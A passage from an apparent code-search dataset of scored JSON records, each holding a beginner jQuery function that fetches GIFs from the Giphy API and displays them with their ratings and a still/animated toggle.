Rating ///////////\n $('#gifs-view').append(gifDataToDiv);\n // Retrieves the Rating Data\n console.log(gifsArray)\n // Creates an element to have the rating displayed\n var gifRating = $(\"<h3>\").text(gifsArray[i].rating)\n // Displays the rating\n gifDataToDiv.append(\"<h3>Rating: \" + gifsArray[i].rating + \"<h3>\")\n\n /////////// Images ///////////\n $('#gifs-view').prepend(gifDataToDiv);\n var gitImage = $(\"<img>\").attr(\"src\", gifsArray[i].images.original.url)\n gitImage.attr(\"data-still\", gifsArray[i].images.original_still.url)\n gitImage.attr(\"data-animate\", gifsArray[i].images.original.url)\n gitImage.attr(\"data-state\", \"animate\")\n gitImage.attr(\"class\", \"gif\")\n gifDataToDiv.append(gitImage)\n }\n });\n}", "title": "" }, { "docid": "ae2da0ffbff0785bbae2f5bf3a090ead", "score": "0.72414815", "text": "function gifsDisplay(){\n var show = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + show + \"&limit=9&api_key=dc6zaTOxFJmzC\";\n\n $.ajax({url : queryURL, method : \"GET\"}).done(function(response) {\n console.log(response.data);\n var results = response.data;\n for (var i = 0; i < results.length; i++){\n var gifsDiv = $(\"<div class=gifs>\");\n var gifs = $(\"<img>\");\n gifs.attr('src', results[i].images.fixed_height_still.url);\n gifs.attr(\"title\", \"Rating: \" + results[i].rating);\n gifs.attr(\"data-still\", results[i].images.fixed_height_still.url);\n gifs.attr(\"data-state\", \"still\");\n gifs.addClass(\"gif\");\n gifs.attr(\"data-animate\", results[i].images.fixed_height.url);\n var rating = results[i].rating;\n //var p = $(\"<p>\").text(\"Rating: \" + rating);\n gifsDiv.append(gifs);\n //gifsDiv.append(p);\n\n $(\"#gifsShow\").prepend(gifsDiv);\n }\n });\n\n}", "title": "" }, { "docid": "ccd9c7358d56669ce743ca0978322673", "score": "0.72380096", "text": "loadGifs(gif_url_list)\n\t{\n\t\tlet l=gif_url_list.length\n\t\tgif_url_list.forEach(url=>{\n\t\t\tlet img=new Image(0,0)\n\t\t\timg.onload=e=>{\n\t\t\t\tthis.gifCount++\n\t\t\t\tif(this.gifCount===l)\n\t\t\t\t\tdocument.getElementById('player').dispatchEvent(this.event)\n\t\t\t}\n\t\t\timg.src=url\n\t\t\tthis.preload_Gifs.push(img)\n\t\t})\n\t}", "title": "" }, { "docid": "d95e0cc8f94da7d75131f49fde0d7f80", "score": "0.72360426", "text": "function displayGifs() {\n\n const gifs = $(this).attr(\"data-name\");\n const queryURL = \"https://api.giphy.com/v1/gifs/search?api_key=8iYztG9g8pKSpLVmvZma6qEoSc9e2dxw&q=\" + gifs + \"&limit=10&lang=en\"\n\n //create an AJAX call for the specific topic button being clicked\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n //console.log(response)\n //Create a div to hold the gifs\n const gifDiv = $(\"<div class='gif'>\");\n\n //Storing the rating\n for (i = 0; i < response.data.length; i++) {\n const rating = response.data[i].rating;\n // console.log(rating);\n\n //Get the gifs\n const giphy = response.data[i].images.original.url;\n\n //create an image div\n const imgDiv = $(\"<img class='image'>\")\n imgDiv.attr(\"src\", giphy)\n\n\n //Creating an element to display rating\n const ratingDiv = $(\"<p>\").text(\"Rated: \" + rating);\n //Display the rating\n //under every gif, display its rating\n gifDiv.append(ratingDiv);\n gifDiv.append(imgDiv);\n // gifDiv.prepend(imgDiv);\n $(\"#view-gifs\").prepend(gifDiv);\n\n //console.log(giphy);\n //$(\"#view-gifs\").prepend(imgDiv)\n \n\n } \n \n //console.log(response.data[0].images);\n\n });\n\n}", "title": "" }, { "docid": "33ccc4f7ab6756aa0232718fe757bce4", "score": "0.7227982", "text": "function displayGif(){\n\t\t$(\"#gif\").empty();\n\t\t//This Variable Is Getting Scoped Value Of A Button That Was Clicked By The User In The Browser\n\t\tvar gifElement = $(this).attr(\"data-name\");\n\t\t// This Variable Gets The Query Of 100 Elements To Be Used In Ajax To Get A Response\n\t\tvar queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + gifElement + \n\t\t\"&apikey=\"+ apikey +\"&limit=100\";\n\t\t// Ajax Call to Seach For The Gif User Has Chosen \n\t\t$.ajax({\n\t\t\t//URL Is Sending The Request \n\t\t\turl: queryURL,\n\t\t\t//Method Is Getting The Response\n\t\t\tmethod: \"GET\",\n\t\t\t//.done Executes When Get The Response From URL\n\t\t}).done(function(response){\n\t\t\t//This Loop Only Generates 10 Gifs To Be Display In The Browser\n\t\t\tfor(var i = 0; i < responseQuantity; i++){\n\t\t\t\tgifImage = $(\"<img>\");\n\t\t\t\t//This Variable Gets The origianl_still.url To Be Attributed To The src And Data-State\n\t \tvar imageUrl_still = response.data[array[i]].images.original_still.url;\n\t\t\t\t//This Variable Gets The fixed_height.url To Be Attributed To The src And Data-State\n\t \tvar imageUrl_animate = response.data[array[i]].images.fixed_height.url;\n\t \t//Giving Some Attributes To My Image\n\t\t\t\tgifImage.attr(\"src\", imageUrl_still);\n\t\t\t\tgifImage.attr(\"data-still\", imageUrl_still);\n\t\t\t\tgifImage.attr(\"data-animate\", imageUrl_animate);\n\t \tgifImage.attr(\"alt\", \"Gif Image\");\n\t \tgifImage.attr(\"data-state\", \"still\");\n\t \tgifImage.attr(\"data-toggle\",\"tooltip\");\n\t \tgifImage.attr(\"title\", \"Play Me\");\n\t \tgifImage.addClass(\"gifPlay\");\n\t \tgifImage.addClass(\"well\");\n\t \t//Appending Gifs To The Browser\n\t\t\t\t$(\"#gif\").append(gifImage);\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "e9912d1d0f92ce50b166a78bdd6332b1", "score": "0.7227733", "text": "function displayGifInfo() {\n var gif = $(this).attr(\"data-name\");\n \n // variable with url for the api\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n gif + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n \n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n .done(function(response) {\n\n $(\"#gify-view\").empty();\n\n console.log(response);\n \n // This loop generates 10 gifs\n for (var i = 0; i < 10; i++) {\n \n // Get the response data back from api and save to variables\n var imageURL = response.data[i].images.fixed_height_still.url;\n var gifRating = response.data[i].rating;\n var gifState = response.data[i].images.fixed_height.url;\n\n // Tests and Debugging\n \n \n\n // create and store image tag\n var gifImage = $(\"<img>\");\n\n // setting the gifImage src attributes to imageURL\n gifImage.attr(\"src\", imageURL);\n gifImage.attr(\"alt\", \"gif image\");\n gifImage.attr(\"data-still\", imageURL)\n gifImage.attr(\"data-animate\", gifState);\n gifImage.attr(\"data-state\", \"still\");\n gifImage.attr(\"class\", \"gif-StopStateClass\");\n\n\n $(\"#gify-view\").prepend(\"Rating: \" + gifRating);\n $(\"#gify-view\").prepend(gifImage);\n }\n // console.log(response);\n });\n }", "title": "" }, { "docid": "73a0f89774bae19e3c9c944fd015ccce", "score": "0.72275275", "text": "function displayTopicGIFs() {\n\n\n $view.empty(); //clear out any previous gifs\n\n var topic = $(this).attr(\"data-name\"); //get topic\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + topic + \"&api_key=\" + apikey + \"&limit=10\"; //build the query URL\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n \n \n var data = response.data; //get response data\n \n for(var k = 0; k < data.length; k++)\n {\n //console.log(\"Data: \" + data[k].images.fixed_height_still.url);\n \n var $img = $(\"<img>\");\n var $p = $(\"<p>\"); //build html elements under the hood\n\n var rating = data[k].rating; \n $p.text(rating); \n\n //add a whole bunch of data-attributes to the gifs \n $img.attr(\"src\", data[k].images.fixed_height_still.url)\n $img.attr(\"class\", \"gify\")\n $img.attr(\"data-state\", \"still\");\n $img.attr(\"data-name\", topic + k);\n $img.attr(\"data-animate\", data[k].images.fixed_height.url);\n $img.attr(\"data-still\", data[k].images.fixed_height_still.url);\n \n $view.append($p);\n $view.append($img); //put it on DOM\n }\n });\n}", "title": "" }, { "docid": "c649607809f76d05d2c85b36aeff2294", "score": "0.72257197", "text": "function displayGifs() {\n\n let selectedItem = $(this).attr('data-value');\n let searchTerm = theme + ' ' + selectedItem;\n searchTerm = searchTerm.replace(/ /g, '+');\n console.log(searchTerm);\n let queryURL = 'https://api.giphy.com/v1/gifs/search?q=' +\n searchTerm + '&api_key=' + giphyAPIKey + '&limit=15';\n\n $('#gifs').empty();\n\n\n // get the gifs from giphy API\n $.ajax({\n url: queryURL,\n method: 'GET'\n }).then(function (response) {\n let results = response.data;\n console.log(results);\n\n\n // render the gifs that are rated less than R\n for (var i = 0; i < results.length; i++) {\n if (['g', 'pg', 'pg-13'].includes(results[i].rating)) {\n \n var rating = results[i].rating;\n var gifImg = $('<img>');\n var gifDiv = $('<div></div>');\n var p = $(\"<p>\").text(\"Rating: \" + results[i].rating);\n \n gifDiv.attr('class', 'floatBox'); \n gifImg.attr('class', 'gif');\n gifImg.attr('src', results[i].images.fixed_height_still.url);\n gifImg.attr('data-state', 'still');\n gifImg.attr('data-still', results[i].images.fixed_height_still.url);\n gifImg.attr('data-animate', results[i].images.fixed_height.url); \n \n gifDiv.append(p);\n gifDiv.append(gifImg);\n $('#gifs').prepend(gifDiv);\n\n\n \n \n };\n };\n });\n}", "title": "" }, { "docid": "1ef4e9b788d811aafdc2720a17c53b04", "score": "0.7221098", "text": "function displayGIF() {\n\t\tvar gifDisp = $(this).attr(\"data-gif\");\n\n\t\t//============ API ==============\n\t\tvar queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n\t\tgifDisp + \"&api_key=dc6zaTOxFJmzC&limit=4&rating=pg\";\n\n\t\t$.ajax({\n\t\t\turl: queryURL,\n\t\t\tmethod: \"GET\"\n\t\t}).then(function(response){\n\n\t\t\tconsole.log(response);\n\n\t\t\tvar results = response.data;\n\t\t\t\n\t\t\t//for loop that uses already made array of items and items we will make\n\t\t\tfor (var i = 0; i < results.length; i++) {\n\n\t\t //======= New DIVS ==========\n\n\t\t //creating div tag\n var gifDiv = $(\"<div class='col-md-3'>\");\n\n //creating paragraph tag with the result items rating\n var p = $(\"<p>\").text(\"Rating: \" + results[i].rating);\n\n //Creating and storing and image tag\n var gifImage = $(\"<img>\");\n\n //attribute for still for later\n gifImage.attr(\"data-still\", results[i].images.original_still.url);\n\n //attribute for animate for later\n gifImage.attr(\"data-animate\", results[i].images.fixed_height.url);\n\n //setting the src attribute of the image to a property pullled off the result item\n gifImage.attr(\"src\", results[i].images.original_still.url);\n\n //storing state. on load it is still\n gifImage.attr(\"data-state\", \"still\");\n\n //giving image a class of gif to gifImage so the click attr can latch onto this\n gifImage.attr(\"class\", \"gif\");\n\n\n //appednign the paragraph and image tag ot he gifDiv\n gifDiv.append(p);\n gifDiv.append(gifImage);\n\n //prepending to page\n $(\"#imageHuddle\").prepend(gifDiv);\n }\n });\n\t}", "title": "" }, { "docid": "1da90d6d9dbb96e27c2648d688ad26b7", "score": "0.7216129", "text": "function displayNewGif() {\n // console.log(this);\n var newGif = $(this).attr(\"data-topic\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + newGif + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n var results = response.data;\n // console.log(results)\n //looping through the array of the new gif added\n for (var i = 0; i < results.length; i++) { //looping through 10 gifs\n\n var displayDiv = $(\"<div>\");\n var rating = results[i].rating;\n var p = $(\"<p>\").text(\"Rating: \" + rating);\n var displayImg = $(\"<img>\");\n displayImg.attr(\"src\", results[i].images.fixed_height.url);\n displayDiv.prepend(p);\n displayDiv.prepend(displayImg);\n $(\"#gifs-view\").prepend(displayDiv);\n // console.log(displayDiv);\n }\n })\n }", "title": "" }, { "docid": "61d2ede59892cec748f36c11f2be8566", "score": "0.7213902", "text": "function displayGifs() {\n $(\"#gif-display\").empty();\n\n const mood = $(this).attr(\"data-name\");\n const queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + mood + \"&api_key=\" + keyID + \"&limit=10\";\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n console.log(queryURL);\n response.data.forEach(function(data) {\n const gifDiv = $(\"<div>\"); \n const rating = $(\"<p>\"); \n const gif = $(\"<img>\");\n const starDiv = $(\"<div>\");\n const star = $(\"<i>\");\n gifDiv.append(rating, gif, starDiv)\n .addClass(\"gif-container\")\n .data({still: data.images.fixed_height_still.url,\n animate: data.images.fixed_height.url,\n state: \"still\",\n isFavorite: false});\n rating.text(\"Rating: \" + data.rating);\n gif.attr(\"src\", data.images.fixed_height_still.url);\n starDiv.append(star).addClass(\"far fa-star star\");\n $(\"#gif-display\").append(gifDiv);\n })\n\n })\n\n}", "title": "" }, { "docid": "92472a32e381e64e6b74885126e57594", "score": "0.72131026", "text": "function displayGifs() {\n var gif = $(this).attr(\"data-name\");\n var queryUrl = \"https://api.giphy.com/v1/gifs/search?q=\";\n\n //clear out the previous button gifs\n $(\"#gifView\").empty();\n\n $.ajax({\n url:\n queryUrl +\n gif +\n \"&\" +\n \"api_key=gq1LEbdFF5DgCqqoKUU2w6kvBEROq4qD&limit=10\",\n method: \"GET\"\n }).then(function(response) {\n // console.log(response);\n //empty before appending\n $(\"#gifView\").empty();\n\n //for each gif, create the image and write to the screen\n for (var j = 0; j < response.data.length; j++) {\n var results = response.data;\n var gifDiv = $(\"<div>\");\n var p = $(\"<p>\");\n p.text(\"Rating: \" + results[j].rating);\n var image = $(\"<img>\");\n var fav = $(\"<button>\");\n var title = $(\"<p>\");\n title.text(\"Title: \" + results[j].title);\n fav.addClass(\"btn\");\n fav.addClass(\"btn-primary\");\n fav.addClass(\"favorites\");\n fav.text(\"Fav\");\n image.attr(\"src\", results[j].images.fixed_height_still.url);\n image.attr(\"alt\", results[j].title);\n image.attr(\"still\", results[j].images.fixed_height_still.url);\n image.attr(\"motion\", results[j].images.fixed_height.url);\n image.addClass(\"selector\");\n // gifDiv.append(title);\n gifDiv.append(p);\n gifDiv.append(image);\n gifDiv.append(fav);\n gifDiv.addClass(\"inline-block\");\n $(\"#gifView\").append(gifDiv);\n }\n\n //create the onclick event that stops and starts the gif\n $(\".selector\").on(\"click\", function() {\n if ($(this).attr(\"src\") == $(this).attr(\"still\")) {\n $(this).attr(\"src\", $(this).attr(\"motion\"));\n } else {\n $(this).attr(\"src\", $(this).attr(\"still\"));\n }\n });\n\n //give the fav buttons a callback that pushes the entire div into an array\n $(\".favorites\").on(\"click\", function() {\n // console.log(\n // $(this)\n // .parent()\n // .get()\n // );\n favDiv = $(this)\n .parent()\n .get();\n favArray.push(favDiv);\n // console.log(favArray);\n });\n });\n }", "title": "" }, { "docid": "d91ff06644907954325bdd6b5300f355", "score": "0.72096825", "text": "function api(input){\r\nvar url = \"https://api.giphy.com/v1/gifs/search?q=\"+input+\"&api_key=dc6zaTOxFJmzC\";\r\nvar gif = new XMLHttpRequest();\r\ngif.open('get',url);\r\ngif.send();\r\n\r\ngif.addEventListener(\"load\",function(e){\r\n var data = e.target.response;\r\n pushToDom(data);\r\n})\r\n}", "title": "" }, { "docid": "d2f0b7cd477948d43b2c1b428a193202", "score": "0.7204445", "text": "function displayGiphy() {\n // if is first time loading that topic's image, empty out the display section, we can find out this by offSet number\n if (offSet < 1) {\n $(\"#display\").empty();\n }\n var mykey = config.MY_KEY;\n var secretkey = config.SECRET_KEY;\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + topic + \"&api_key=2JAm3dCYilKMooS1kOwyy0LMuCRKUzK7&offset=\" + offSet + \"&limit=10\";\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n console.log(response);\n for (var i = 0; i < 10; i++) {\n var totalDiv = $(\"<div>\").attr(\"id\", \"giphy\");\n var giphyDiv = $(\"<div class=giphy\" + (i + offSet) + \">\");\n // get title\n var title = response[\"data\"][i][\"title\"];\n // get rate\n var rate = response[\"data\"][i][\"rating\"];\n // write out title\n var pOne = $(\"<p>\").text(\"Title: \" + title);\n // write out rating\n var pTwo = $(\"<p>\").text(\"Rating: \" + rate);\n // get animating image url\n var animateURL = response[\"data\"][i][\"images\"][\"original\"][\"url\"];\n // get still image url\n var stillURL = response[\"data\"][i][\"images\"][\"original_still\"][\"url\"];\n // create image using animateURL and stillURL\n var image = $(\"<img>\").attr(\"src\", stillURL).attr(\"data-still\", stillURL).attr(\"data-animate\", animateURL).attr(\"data-state\", \"still\").addClass(\"gif\");\n // write out favorites option\n var favSection = $(\"<p>\").html(\"Add to Favorites: \");\n // make favorite button \n var favButton = $(\"<button>\");\n favButton.attr(\"data-num\", i + offSet).addClass(\"favorite\").text(\"★\").css(\"background\", \"yellow\");\n // make button for download\n var downButton = $(\"<button>\").text(\"download\").addClass(\"down\");\n// ****** ??????????this worked in images, but when I tried this on Giphy I got forbidden access error. needs to learn how to do this\n var down= $(\"<a href = '\"+ animateURL + \"' download>\").append(downButton);\n // attach buttons to favSection\n favSection.append(favButton).append(down);\n // each giphy#class will have its specific image, title, and rate info attached \n giphyDiv.append(image).append(pOne).append(pTwo);\n // finally each giphy#class and favorite button section will be attached to display section\n totalDiv.append(giphyDiv).append(favSection);\n $(\"#display\").append(totalDiv);\n }\n // when favorite button is clicked, attach image associated to the favorites section\n $(\".favorite\").on(\"click\", function (event) {\n // number of image added to favorites increment\n favImgCount++;\n // favorite button clicked's data-num, which is same as specific number added to each giphy class, will be assigned to variable favNum\n var favNum = $(this).attr(\"data-num\");\n // new division with calls fav+favNum will be created to hold ones that are added to favorites and will be assigned to variable favlist\n var favlist = $(\"<div>\").addClass(\"fav\" + favNum);\n // giphy class with specific data number that favorite button has, will be assigned to variable favImg\n var favImg = $(\".giphy\" + favNum);\n // innerHTML from the giphy class that we stored to favImg will be assigned to favorite...this is similar to taking out image from giphy class\n var favorite = favImg[0].innerHTML;\n// ****** ??????????When I add animated giphy image to favorites, I want them to be still image... need to learn how to do this\n\n // create a button to delete, this is also specific to giphy image, so will contain favNum as its value, class called \"checkbox\"will be added\n // to be used when wil click the button, and will have text x inside the button, and add specific id as favImgCount number, then \n // assign to deleteButton variable\n var deleteButton = $(\"<button>\").attr(\"value\", favNum).addClass(\"checkbox\").text(\"X\").attr(\"id\", favImgCount);\n // add the image and delete button to the favorite list\n favlist.append(favorite).append(deleteButton);\n localStorage.setItem(\"list\" + favImgCount, favorite);\n // attatch the favorite list to favorites section\n $(\".favorites\").append(favlist);\n $(\"#favorites\").css(\"height\", \"auto\");\n });\n });\n }", "title": "" }, { "docid": "78c67692469c18bc5233b448bd7e8e4b", "score": "0.72035265", "text": "function fetchTopicGifs() {\n // Gets name of topic from button click\n var topicName = $(this).attr(\"data-topic\");\n var topicStr = topicName.split(\" \").join(\"+\");\n\n\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + topicStr + \n \"&rating=pg-13&limit=20&api_key=dc6zaTOxFJmzC\";\n\n // AJAX call to the Giphy API\n $.ajax({\n method: \"GET\",\n url: queryURL,\n })\n .done(function( result ) {\n // Get the results array\n var dataArray = result.data;\n\n // Create and display div elements for each of the returned Gifs\n $(\"#gifPanel\").empty();\n for (var i = 0; i < dataArray.length; i++) {\n var newDiv = $(\"<div>\");\n newDiv.addClass(\"topicGif\");\n\n var newRating = $(\"<h2>\").html(\"Rating: \" + dataArray[i].rating);\n newDiv.append(newRating);\n\n var newImg = $(\"<img>\");\n newImg.attr(\"src\", dataArray[i].images.fixed_height_still.url);\n newImg.attr(\"data-still\", dataArray[i].images.fixed_height_still.url);\n newImg.attr(\"data-animate\", dataArray[i].images.fixed_height.url);\n newImg.attr(\"data-state\", \"animate\");\n newDiv.append(newImg);\n\n // Append the new Gifs to the gifPanel\n $(\"#gifPanel\").append(newDiv);\n }\n });\n}", "title": "" }, { "docid": "423fdf90187ac74c65987fd4fd5a02f5", "score": "0.71997875", "text": "function gifShow() {\t\n\t\t$(\"#gifs\").empty();\n\n\t\tvar movie = $(this).attr(\"data-movie\");\n\n\t\t// var rating = \"r\"; \n\t\t// Would place \"?rating=\" + rating + in the URL below if I wanted to use it. \n\t\t// Adding this parameter messes with the results too much so I decided to keep it out.\n\t \n\t var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n\t movie + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n\n\t $.ajax({\n\t url: queryURL,\n\t method: \"GET\"\n\t }).done(function(response) {\n\n\t \tvar results = response.data;\t \t\n\n\t \tfor (var i = 0; i < results.length; i++) {\n\t \t\t// Variable for creating a new div for each image and h3 element.\n\t \t\tvar newDiv = $(\"<div class='item text-center'>\");\n\n\t\t \tvar newImg = $(\"<img>\");\n\t\t \t// Added class, animated, still and data-status in order to allow the user to animate and pause the GIFs that appear.\n\t\t \tnewImg.addClass(\"gif img-responsive\");\n\t\t \tnewImg.attr(\"src\", results[i].images.fixed_height_still.url);\n\t\t \tnewImg.attr(\"alt\", \"gif image here\");\n\t\t \tnewImg.attr(\"data-status\", \"still\");\n\t\t \tnewImg.attr(\"data-animated\", results[i].images.fixed_height.url);\n\t\t \tnewImg.attr(\"data-still\", results[i].images.fixed_height_still.url);\n\t\t\t\t\n\t\t\t\t// Appends the new image to the newDiv.\n\t\t \tnewDiv.append(newImg);\n\n\t\t \tvar rating = results[i].rating;\n\t\t \t// Create an h3 element that contains the GIF rating.\n\t\t\t\tvar h3 = $(\"<h3>\").text(\"GIF Rating: \" + rating);\n\n\t\t\t\t// Appends the h3 element to the newDiv.\n\t\t\t\tnewDiv.append(h3);\n\n\t\t\t\t// Appends the newDiv element to the gif div located in the HTML.\n\t\t \t$(\"#gifs\").prepend(newDiv);\n\t \t}\n\t });\n\t}", "title": "" }, { "docid": "1947a721fdb7d69c57207029631bea69", "score": "0.71969914", "text": "function gifCall() {\n \n $(\".player\").on(\"click\", function(event) {\n event.preventDefault()\n var playerName = $(this).attr(\"data-name\");\n console.log(playerName);\n var queryURL = \"https://api.giphy.com/v1/gifs/search?api_key=cEm2R8y7shniOVf8cxDEDp6nusYySg89&q=\"+ playerName + \"&limit=10&offset=0&rating=G&lang=en\";\n \n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n console.log(response);\n // $(document).on(\"click\", \".gifs\", response.data[i].url);\n \n var gifUrl = response.data[0].images.fixed_height.url;\n // for (i = 0; i < gifHTML.length; i++);\n var gifHTML = $(`<img src='${gifUrl}'>`)\n $(\".gifs-img\").append(gifHTML);\n });\n })\n }", "title": "" }, { "docid": "d49b89f6360bdecb589ad7817d81d56b", "score": "0.7194092", "text": "function displayGifs() {\n $(\"#images\").empty();\n // api set up\n // fixed error issue w/ wrong url undefined, var have to be in order\n // ie queryURL has to be after apikey & destination, otherwise won't work\n var destination = $(this).attr(\"data-name\");\n var apiKey = \"ePu4sAeJ3pnzZxSW4crhvYCK0zZwNzug\";\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + destination + \"&api_key=\" + apiKey + \"&limit=10\";\n console.log(destination);\n\n // ajax request\n $.ajax({\n url: queryURL,\n method: \"GET\"\n // generate list of 10 gifs of selected button keyword\n }).done(function (response) {\n // isolate only the data of each gif \n console.log(response.data);\n // create var of the array made by button selection \n var destinationResult = response.data;\n\n // create for loop for the array made\n for (var i = 0; i < destinationResult.length; i++) {\n // actually set up gif to display\n // new var to create new div w/ class of places\n var destinationDiv = $(\"<div class=places>\");\n // new var for the image\n var destinationGif = $(\"<img>\");\n // print out gifs from the api array as still image\n destinationGif.attr('src', destinationResult[i].images.fixed_height_still.url);\n // assign still attr to gif\n destinationGif.attr('data-still', destinationResult[i].images.fixed_height_still.url);\n // assign animated attr to gif\n destinationGif.attr('data-animate', destinationResult[i].images.fixed_height.url);\n console.log(destinationResult[i].images.fixed_height.url);\n // asign data-state to still\n destinationGif.attr(\"data-state\", \"still\");\n // add class to images\n destinationGif.addClass('gif');\n // append to html\n destinationDiv.append(destinationGif)\n\n // each gif will have its rating displayed\n // new var for rating\n var rating = destinationResult[i].rating\n // this var creates p tag to place rating\n var destinationRating = $(\"<p>\").text(\"Rating: \" + rating);\n destinationDiv.append(destinationRating)\n\n // print new desinationDiv to the #images div on html\n // it will include the rating, image, and the new div that was created\n $(\"#images\").prepend(destinationDiv);\n console.log(destinationResult[i].images.fixed_height_still.url);\n } \n // ******************** why doesn't console.log above work & show error? .images = undefined??\n }) \n }", "title": "" }, { "docid": "2b5dfe25d4d49595f07612508c550712", "score": "0.7192852", "text": "function getGifs(animal){\n\t$.ajax({\n\t\turl: queryURL,\n\t\tmethod: 'GET'\n\t}).then(function(response){\n\t\tgifsArray[animal] = [];\n\t\tfor (var i in response.data){\t\n\t\t\tgifsArray[animal].push(\n\t\t\t\t{\n\t\t\t\t\tanim: response.data[i].images.original.url,\n\t\t\t\t\tstill: response.data[i].images.original_still.url,\t\t\t\t\t\n\t\t\t\t\trating: response.data[i].rating\n\t\t\t\t});\n\t\t}\n\t});\n}", "title": "" }, { "docid": "cab0683c163656db8903f922c35e8c1a", "score": "0.71921974", "text": "function renderGifs(topic) {\n var stillUrl = topic.images.fixed_height_still.url;\n var gifUrl = topic.images.fixed_height.url;\n\n $(\"#gif-zone\").append(\"<div><img class='image-item' data-state='still' data-gif='\" + gifUrl + \"' data-still='\" + stillUrl + \"' src='\" + stillUrl + \"'><p>\" + topic.rating + \"</p></div>\");\n}", "title": "" }, { "docid": "90e603f16563df0ba03bee005a104501", "score": "0.71917295", "text": "function grabGiphy() {\n \n var searchId = $(this).attr(\"data-name\");\n var searchStr = searchId.split(\" \").join(\"+\");\n var giphyURL = \"https://api.giphy.com/v1/gifs/search?q=\" + searchStr + \"&api_key=GNUIDUTGzLfuydreVegbVBDLqU4Etqed&limit=10\";\n \n $.ajax({\n url: giphyURL,\n method: \"GET\"\n }).done(function(response) {\n \n results = response.data;\n \n $(\"#character-pop\").empty();\n for (var i = 0; i < results.length; i++) {\n \n var gifDiv = $(\"<div>\");\n var h2 = $(\"<h2 class='rating'>\").text(\"Rating: \" + results[i].rating);\n var stillImage = $(\"<img>\");\n \n h2.addClass(\"rating-text\")\n \n stillImage.addClass(\"image-gifs\")\n stillImage.attr(\"src\", results[i].images.fixed_height_still.url);\n stillImage.attr(\"data-state\", \"still\");\n stillImage.attr(\"data-position\", i);\n \n gifDiv.append(h2);\n gifDiv.append(stillImage);\n gifDiv.addClass(\"individual-gifs\")\n \n $(\"#character-pop\").prepend(gifDiv);\n };\n }); \n }", "title": "" }, { "docid": "8966da1e7a4858909ae43ec34b188dc1", "score": "0.71899426", "text": "function retrieveGifs(){\n\n \n $.ajax({\n url: \"https://api.giphy.com/v1/gifs/search?api_key=cDVT7MGH5kQi3g0vaQceOmMtnWwSVAFy&q=\" + selectedKeyword + \"&limit=10&offset=0&rating=&lang=en\", \n method: \"GET\"\n }).then(function(response){\n $(\"#gifs-col\").empty();\n var gifArray = response.data;\n \n for (var i=0; i<gifArray.length; i++){\n var gifDiv = $(\"<div class='clearfloat float-left m-1'>\");\n var gifP = $(\"<p class='giftext text-sm-left'>\");\n gifP.text(\"Rating: \" + gifArray[i].rating);\n var gifImg = $(\"<img class='gifImg float-left'>\");\n var favBtn = $(\"<button class='favBtn btn btn-warning float-left'>\");\n favBtn.text(\"add to Favs\");\n favBtn.attr(\"data-still\", gifArray[i].images.fixed_height_still.url); \n favBtn.attr(\"data-animate\", gifArray[i].images.fixed_height.url);\n favBtn.attr(\"data-state\", \"still\");\n\n gifImg.attr(\"src\", gifArray[i].images.fixed_height_still.url);\n gifImg.attr(\"data-still\", gifArray[i].images.fixed_height_still.url); \n gifImg.attr(\"data-animate\", gifArray[i].images.fixed_height.url);\n gifImg.attr(\"data-state\", \"still\");\n\n gifDiv.append(gifImg);\n gifDiv.append(gifP);\n gifDiv.append(favBtn);\n \n $(\"#gifs-col\").append(gifDiv);\n }\n });\n}", "title": "" }, { "docid": "5d46f465c7d567d63da4f7c2b90c4f3a", "score": "0.7178891", "text": "function displayGifs(){\n // Grab data-name attr from dynamically created buttons and insert into url for AJAX call\n var searchTerm = $(this).attr(\"data-name\"); \n var queryUrl = \"https://api.giphy.com/v1/gifs/search?api_key=69eSDlUWow5cNxDj4CgJGcpXBkgyjCPj&limit=10&q=\" + searchTerm;\n\n // AJAX call to Giphy API. Need to pull static & animated urls, rating\n $.ajax({\n url: queryUrl,\n method: \"GET\"\n }).then(function(response){\n console.log(response);\n // Loop through 10 responses to append each gif to index page\n for (var i = 0; i < response.data.length; i++){\n // Variables to store divs, img tags, and p tags created for each gif\n var gifDiv = $(\"<div>\");\n var imgTag = $(\"<img class='gif'>\");\n var p = $(\"<p>\");\n\n // Variables for the gif data pulled from the API\n var rating = response.data[i].rating;\n var stillSrc = response.data[i].images.fixed_height_still.url;\n var animateSrc = response.data[i].images.fixed_height.url;\n\n // Take gif urls from API and set them as attributes for img tags\n imgTag.attr(\"src\", stillSrc);\n imgTag.attr(\"data-state\", \"still\");\n imgTag.attr(\"data-still\", stillSrc);\n imgTag.attr(\"data-animate\", animateSrc);\n\n // Add rating data to p tag\n p.text(\"Rating: \" + rating);\n\n // Attach newly created img tag and p tag to a div\n gifDiv.append(imgTag);\n gifDiv.append(p);\n\n // Attach gif/rating div to overall gif div on index page\n $(\"#gif-div\").prepend(gifDiv);\n }\n\n });\n}", "title": "" }, { "docid": "6823725ea8addc98de4fa35409cbef48", "score": "0.7176964", "text": "function displaynewGIFs() {\n\n var newGIF = $(this).attr(\"data-name\");\n var limitUpto=10; // to limit the number of gifs retrieved \n\n // empty the div at the beginning\n $(\"#gifs-img\").empty();\n // Constructing a queryURL using the newGIF name\n\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n newGIF + 